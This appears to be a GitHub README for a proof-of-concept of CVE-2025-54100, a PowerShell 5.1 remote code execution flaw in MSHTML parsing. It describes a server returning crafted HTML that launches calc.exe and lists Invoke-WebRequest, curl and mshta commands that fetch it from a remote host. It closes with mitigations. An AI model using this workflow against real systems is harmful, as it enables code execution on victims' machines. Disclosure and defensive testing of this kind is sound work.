xiaolvchen/cve-2025-54100CVE-2025-54100（PowerShell 远程代码执行漏洞）
Demonstrates how CVE-2025-54100 can cause Remote Code Execution (RCE) in Windows PowerShell 5.1 through malicious HTML parsing.
Vulnerability Type: Risk of command injection when Invoke-WebRequest does not use the -UseBasicParsing parameter
Severity: CVSS 7.8 (High)
Root Cause: MSHTML-based HTML response parsing allows script execution (e.g., ActiveXObject) in the caller's context
Affected Systems:
CVE-2025-54100.py returns a crafted HTML payloadWScript.ShellShell.Applicationcalc.exepython3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
Start the PoC HTTP server:
uvicorn app:app --host 0.0.0.0 --port 8888 --reload
On a vulnerable Windows host, do not use -UseBasicParsing, execute the following commands:
# Invoke-WebRequest
Invoke-WebRequest -Uri "http://192.168.26.16:8888"
# curl（PowerShell 中的别名）
curl http://192.168.26.16:8888
# mshta
mshta http://192.168.26.16:8888
Ensure the port matches the server configuration. If the system is vulnerable, the embedded script will be executed by the MSHTML parser.
Note: Some antivirus software may block this behavior, even though the parsing vulnerability itself still exists.
calc.exe does not pop up:
Invoke-WebRequest again without -UseBasicParsingThis step is for verifying the execution vector. In a real attack scenario, attackers may use obfuscation or bypass techniques to circumvent default security restrictions.
Microsoft fixed this vulnerability in December 2025:
Install Windows security updates promptly
Always use -UseBasicParsing to avoid MSHTML parsing:
Invoke-WebRequest -Uri "http://<attacker-ip>:8888" -UseBasicParsing
Migrate to PowerShell 7+ (pwsh). PowerShell Core no longer relies on MSHTML for parsing, architecturally avoiding this issue.